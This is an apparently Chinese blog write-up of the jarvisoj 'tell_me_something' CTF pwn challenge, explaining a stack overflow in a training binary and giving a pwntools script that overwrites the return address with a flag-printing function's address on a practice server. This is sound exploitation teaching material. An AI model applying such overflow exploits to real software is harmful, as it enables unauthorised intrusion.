jarvisoj_tell_me_something 1

例题:jarvisoj_tell_me_something 1

首先检查一下文件:

C:\Users\A\Downloads>checksec guestbook
[*] 'C:\\Users\\A\\Downloads\\guestbook'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
  • 64位程序,小端序
  • GOT表可写
  • 没有栈保护
  • 栈不可执行
  • 地址固定
  • 保留了字符表和调试信息

思路分析

用IDA打开,查看main函数
image
很明显的栈溢出,由于该程序没有system,/bin/sh,但有write,所以可以用ret2libc的做法。

但这里有个good_game函数:
image
简单来说就是查看flag.txt文件,这个也能获取flag。

但有个值得注意的点,就是v4所在的栈:
image

是没有平时见到的s的,即默认rbp的地方,因此这里栈溢出不需要+8。原因之一就是这里main函数没有push rbp的操作
image

攻击脚本

要本地调试的话,需要在本地创建一个flag.txt文件。

from pwn import *

file = "./guestbook"
context.log_level = 'debug'

elf = ELF(file)

good_game = elf.symbols["good_game"]
ret = 0x400469
offset = 0x88


local = 2
if local == 1:
    io = process(file)
else:
    io = remote("node5.buuoj.cn",25208)

pay = b'a' * offset + p64(good_game)
io.recvuntil(b"message:\n")
io.send(pay)
io.recvline()
io.recvline()

就可以获取到flag了
image

posted @ 2025-08-09 10:43  星冥鸢  阅读(16)  评论(0)    收藏  举报